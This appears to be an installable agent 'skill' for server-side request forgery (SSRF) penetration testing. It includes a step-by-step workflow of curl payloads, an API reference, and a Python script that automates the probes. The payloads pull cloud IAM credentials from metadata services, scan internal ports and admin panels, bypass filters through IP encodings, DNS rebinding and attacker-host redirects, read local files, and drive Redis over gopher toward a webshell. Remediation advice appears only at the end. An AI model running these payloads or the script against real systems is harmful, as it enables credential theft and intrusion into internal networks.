npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
- When testing cloud-hosted applications for access to instance metadata services
- For assessing PDF generators, screenshot services, or any feature that renders external content
- When evaluating microservice architectures for internal service access via SSRF
- During security assessments of APIs that accept URL parameters for data fetching
Prerequisites
- Authorization: Written penetration testing agreement including SSRF testing scope
- Burp Suite Professional: With Collaborator for out-of-band detection
- interactsh: Open-source OOB interaction server (
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest) - SSRFmap: Automated SSRF exploitation framework (
git clone https://github.com/swisskyrepo/SSRFmap.git) - curl: For manual SSRF payload testing
- Knowledge of target infrastructure: Cloud provider (AWS, GCP, Azure), internal IP ranges
Workflow
Step 1: Identify SSRF-Prone Functionality
Map all application features that make server-side HTTP requests.
# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features
# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
"https://target.example.com/api/webhooks"
# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
image_url avatar_url feed_url import_url proxy_url; do
echo "Testing param: $param"
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
doneStep 2: Access Cloud Instance Metadata
Test SSRF payloads targeting cloud provider metadata services.
# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://target.example.com/api/fetch-url"
# AWS - Get IAM role credentials
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/fetch-url"
# GCP Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
"https://target.example.com/api/fetch-url"
# Azure Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
"https://target.example.com/api/fetch-url"
# DigitalOcean Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/v1/"}' \
"https://target.example.com/api/fetch-url"Step 3: Scan Internal Network via SSRF
Use the SSRF vulnerability to discover internal services and ports.
# Internal network scanning - common private ranges
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
echo -n "$ip:$port -> "
response=$(curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$ip:$port/\"}" \
"https://target.example.com/api/fetch-url")
echo "$response" | head -c 100
echo
done
done
# Kubernetes internal services
for svc in kubernetes.default.svc \
kubernetes-dashboard.kubernetes-dashboard.svc \
kube-dns.kube-system.svc; do
curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$svc/\"}" \
"https://target.example.com/api/fetch-url"
done
# Access internal admin panels
for path in /admin /console /actuator/env /server-status /_cat/indices; do
curl -s -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
"https://target.example.com/api/fetch-url"
doneStep 4: Bypass SSRF Filters and Allowlists
When basic payloads are blocked, use bypass techniques.
# IP address encoding bypasses for 127.0.0.1
PAYLOADS=(
"http://127.0.0.1/"
"http://0177.0.0.1/" # Octal
"http://0x7f.0.0.1/" # Hex
"http://2130706433/" # Decimal
"http://127.1/" # Short form
"http://0/" # Zero
"http://[::1]/" # IPv6 loopback
"http://0.0.0.0/" # All interfaces
"http://localtest.me/" # DNS resolves to 127.0.0.1
"http://spoofed.burpcollaborator.net/" # DNS rebinding
"http://127.0.0.1.nip.io/" # Wildcard DNS
)
for payload in "${PAYLOADS[@]}"; do
echo -n "$payload -> "
curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
-X POST -H "Content-Type: application/json" \
-d "{\"url\":\"$payload\"}" \
"https://target.example.com/api/fetch-url"
echo
done
# URL parsing bypass
# Embed credentials: http://expected.com@evil.com/
# Fragment: http://evil.com#expected.com
# URL encoding: http://127.0.0.%31/
# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1
# Protocol bypass
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"file:///etc/passwd"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"dict://127.0.0.1:6379/info"}' \
"https://target.example.com/api/fetch-url"Step 5: Exploit SSRF for Impact Escalation
Chain SSRF with internal services for maximum impact.
# Access Redis via gopher protocol
# Craft gopher payload to set a webshell via Redis
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# This is for authorized testing only
# Access Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
"https://target.example.com/api/fetch-url"
# Read data from Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
"https://target.example.com/api/fetch-url"
# Access internal Jenkins
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:8080/script"}' \
"https://target.example.com/api/fetch-url"
# AWS: Retrieve temporary credentials from IAM role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
"https://target.example.com/api/fetch-url"
# Returns: AccessKeyId, SecretAccessKey, TokenStep 6: Test Blind SSRF and DNS Rebinding
For cases where the response is not returned to the attacker.
# Blind SSRF detection using time-based analysis
# Compare response times for accessible vs inaccessible ports
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:22/"}' \
"https://target.example.com/api/fetch-url"
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:12345/"}' \
"https://target.example.com/api/fetch-url"
# DNS rebinding attack
# 1. Set up a DNS server that alternates between:
# - First query: returns attacker IP (passes allowlist)
# - Second query: returns 127.0.0.1 (targets internal service)
# 2. Use a rebinding service like rbndr.us
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
"https://target.example.com/api/fetch-url"
# rbndr.us alternates DNS responses between the two encoded IPsKey Concepts
| Concept | Description |
|---|---|
| SSRF | Server-Side Request Forgery - making the server send requests to unintended destinations |
| Blind SSRF | SSRF where the response is not returned to the attacker, requiring OOB detection |
| Cloud Metadata | Instance metadata services (169.254.169.254) exposing credentials and configuration |
| Gopher Protocol | Protocol allowing raw TCP data transmission, enabling attacks on internal services |
| DNS Rebinding | DNS attack that switches IP resolution to bypass SSRF hostname allowlists |
| TOCTOU | Time-of-check to time-of-use race condition in URL validation |
| IMDSv2 | AWS metadata service v2 requiring session tokens, mitigating basic SSRF |
| Open Redirect Chain | Using an open redirect to bypass URL allowlists in SSRF filters |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request modification and Collaborator for blind SSRF detection |
| SSRFmap | Automated SSRF exploitation framework with protocol support |
| interactsh | Out-of-band interaction detection for blind SSRF |
| Gopherus | Generates gopher payloads for exploiting internal services |
| rbndr.us | DNS rebinding service for SSRF filter bypass |
| singularity | DNS rebinding attack framework for automated exploitation |
Common Scenarios
Scenario 1: Webhook URL SSRF to AWS Credentials
A webhook configuration endpoint allows specifying a callback URL. Pointing it to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.
Scenario 2: PDF Generator SSRF
A feature that generates PDFs from URLs makes server-side requests. Providing http://127.0.0.1:8080/admin as the URL generates a PDF containing the internal admin panel content.
Scenario 3: Image URL SSRF with Protocol Bypass
An avatar URL field is filtered for HTTP/HTTPS but accepts file:// protocol. Using file:///etc/passwd as the avatar URL causes the server to read local files and include content in the response.
Scenario 4: Blind SSRF to Internal Redis
A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.
Output Format
## SSRF Vulnerability Finding
**Vulnerability**: Server-Side Request Forgery (Full SSRF)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/webhooks - `callback_url` parameter
**OWASP Category**: A10:2021 - Server-Side Request Forgery
### Reproduction Steps
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
2. Server makes request to AWS metadata endpoint
3. Response contains AWS instance metadata including IAM role name
4. Follow up with IAM credentials endpoint to retrieve temporary access keys
### Confirmed Access
| Target | Protocol | Response |
|--------|----------|----------|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |
### Impact
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
- Internal Redis server accessible (potential RCE)
- Internal Elasticsearch data exposed (user records)
- Full internal network scanning capability
### Recommendation
1. Implement strict URL allowlisting (only allow known trusted domains)
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
3. Upgrade to AWS IMDSv2 (requires session token header)
4. Disable unused URL protocols (gopher, file, dict, ftp)
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controlsReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.8 KB
API Reference: SSRF Vulnerability Assessment Agent
Dependencies
| Library | Version | Purpose |
|---|---|---|
| requests | >=2.28 | HTTP client for sending SSRF payloads |
CLI Usage
python scripts/agent.py \
--url https://target.example.com/api/fetch-url \
--param url \
--auth "Bearer TOKEN" \
--output ssrf_report.jsonFunctions
test_ssrf_endpoint(target_url, param_name, payload_url, method, auth_header) -> dict
Sends a single SSRF payload and checks the response for success indicators.
test_cloud_metadata(target_url, param_name, auth_header) -> list
Tests SSRF against AWS IMDSv1, GCP, Azure, and DigitalOcean metadata endpoints.
test_localhost_bypasses(target_url, param_name, auth_header) -> list
Tests 9 localhost encoding bypasses: octal, hex, decimal, IPv6, short form, wildcard DNS.
test_protocol_schemes(target_url, param_name, auth_header) -> list
Tests file://, dict://, and gopher:// protocol handlers.
scan_internal_ports(target_url, param_name, internal_ip, ports, auth_header) -> list
Uses SSRF to probe internal ports (22, 80, 3306, 5432, 6379, 8080, 9200).
run_assessment(target_url, param_name, auth_header) -> dict
Orchestrates all SSRF tests and compiles findings.
Cloud Metadata Endpoints
| Provider | URL |
|---|---|
| AWS IMDSv1 | http://169.254.169.254/latest/meta-data/ |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
| Azure | http://169.254.169.254/metadata/instance |
| DigitalOcean | http://169.254.169.254/metadata/v1/ |
Output Schema
{
"target": "https://target.example.com/api/fetch-url",
"parameter": "url",
"cloud_metadata_tests": [{"cloud_provider": "aws_imdsv1", "status_code": 200}],
"findings": ["CRITICAL: Cloud metadata accessible via 1 endpoints"]
}Scripts 1
agent.py7.3 KB
#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""SSRF vulnerability detection agent with cloud metadata and filter bypass testing."""
import argparse
import json
import logging
import sys
from typing import List
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
CLOUD_METADATA = {
"aws_imdsv1": "http://169.254.169.254/latest/meta-data/",
"aws_iam": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"gcp": "http://metadata.google.internal/computeMetadata/v1/",
"azure": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
"digitalocean": "http://169.254.169.254/metadata/v1/",
}
LOCALHOST_BYPASSES = [
"http://127.0.0.1/", "http://0177.0.0.1/", "http://0x7f.0.0.1/",
"http://2130706433/", "http://127.1/", "http://0/",
"http://[::1]/", "http://0.0.0.0/", "http://127.0.0.1.nip.io/",
]
PROTOCOL_PAYLOADS = [
"file:///etc/passwd", "file:///c:/windows/win.ini",
"dict://127.0.0.1:6379/info",
]
def test_ssrf_endpoint(target_url: str, param_name: str, payload_url: str,
method: str = "POST", auth_header: str = "") -> dict:
"""Send an SSRF payload to a target endpoint and analyze the response."""
headers = {"Content-Type": "application/json"}
if auth_header:
headers["Authorization"] = auth_header
data = {param_name: payload_url}
try:
if method.upper() == "POST":
resp = requests.post(target_url, json=data, headers=headers,
timeout=10, verify=False)
else:
resp = requests.get(target_url, params=data, headers=headers,
timeout=10, verify=False)
return {
"payload": payload_url,
"status_code": resp.status_code,
"content_length": len(resp.content),
"response_preview": resp.text[:200],
"success_indicators": _check_success(resp.text, payload_url),
}
except requests.RequestException as exc:
return {"payload": payload_url, "error": str(exc)}
def _check_success(response_text: str, payload: str) -> List[str]:
"""Check response for indicators of successful SSRF."""
indicators = []
checks = {
"aws_metadata": ["ami-id", "instance-id", "security-credentials", "iam"],
"gcp_metadata": ["computeMetadata", "project-id", "service-accounts"],
"azure_metadata": ["vmId", "subscriptionId", "resourceGroupName"],
"local_file": ["root:", "/bin/bash", "[extensions]", "for 16-bit"],
"internal_service": ["redis_version", "elasticsearch", "Jenkins"],
}
for name, keywords in checks.items():
if any(kw.lower() in response_text.lower() for kw in keywords):
indicators.append(name)
return indicators
def test_cloud_metadata(target_url: str, param_name: str,
auth_header: str = "") -> List[dict]:
"""Test SSRF against all cloud metadata endpoints."""
results = []
for provider, meta_url in CLOUD_METADATA.items():
result = test_ssrf_endpoint(target_url, param_name, meta_url,
auth_header=auth_header)
result["cloud_provider"] = provider
results.append(result)
if result.get("success_indicators"):
logger.warning("SSRF to %s: indicators=%s", provider, result["success_indicators"])
return results
def test_localhost_bypasses(target_url: str, param_name: str,
auth_header: str = "") -> List[dict]:
"""Test localhost SSRF filter bypasses."""
results = []
for bypass in LOCALHOST_BYPASSES:
result = test_ssrf_endpoint(target_url, param_name, bypass,
auth_header=auth_header)
result["bypass_type"] = "localhost_encoding"
results.append(result)
return results
def test_protocol_schemes(target_url: str, param_name: str,
auth_header: str = "") -> List[dict]:
"""Test non-HTTP protocol schemes (file://, dict://, gopher://)."""
results = []
for payload in PROTOCOL_PAYLOADS:
result = test_ssrf_endpoint(target_url, param_name, payload,
auth_header=auth_header)
result["protocol"] = payload.split(":")[0]
results.append(result)
return results
def scan_internal_ports(target_url: str, param_name: str, internal_ip: str,
ports: List[int], auth_header: str = "") -> List[dict]:
"""Scan internal ports via SSRF to discover services."""
results = []
for port in ports:
payload = f"http://{internal_ip}:{port}/"
result = test_ssrf_endpoint(target_url, param_name, payload,
auth_header=auth_header)
result["internal_ip"] = internal_ip
result["port"] = port
is_open = (result.get("status_code") == 200 and
result.get("content_length", 0) > 0 and
not result.get("error"))
result["port_likely_open"] = is_open
results.append(result)
return results
def run_assessment(target_url: str, param_name: str, auth_header: str = "") -> dict:
"""Run complete SSRF assessment."""
cloud = test_cloud_metadata(target_url, param_name, auth_header)
bypasses = test_localhost_bypasses(target_url, param_name, auth_header)
protocols = test_protocol_schemes(target_url, param_name, auth_header)
ports = scan_internal_ports(target_url, param_name, "127.0.0.1",
[22, 80, 443, 3306, 5432, 6379, 8080, 9200], auth_header)
findings = []
cloud_hits = [c for c in cloud if c.get("success_indicators")]
if cloud_hits:
findings.append(f"CRITICAL: Cloud metadata accessible via {len(cloud_hits)} endpoints")
bypass_hits = [b for b in bypasses if b.get("status_code") == 200 and b.get("content_length", 0) > 50]
if bypass_hits:
findings.append(f"HIGH: {len(bypass_hits)} localhost filter bypass(es) successful")
protocol_hits = [p for p in protocols if p.get("success_indicators")]
if protocol_hits:
findings.append(f"HIGH: Non-HTTP protocols accepted ({', '.join(p['protocol'] for p in protocol_hits)})")
return {
"target": target_url,
"parameter": param_name,
"cloud_metadata_tests": cloud,
"localhost_bypasses": bypasses,
"protocol_tests": protocols,
"internal_port_scan": ports,
"findings": findings,
}
def main():
parser = argparse.ArgumentParser(description="SSRF Vulnerability Assessment Agent")
parser.add_argument("--url", required=True, help="Target URL with SSRF-prone endpoint")
parser.add_argument("--param", default="url", help="Parameter name accepting URLs")
parser.add_argument("--auth", default="", help="Authorization header value")
parser.add_argument("--output", default="ssrf_report.json")
args = parser.parse_args()
report = run_assessment(args.url, args.param, args.auth)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()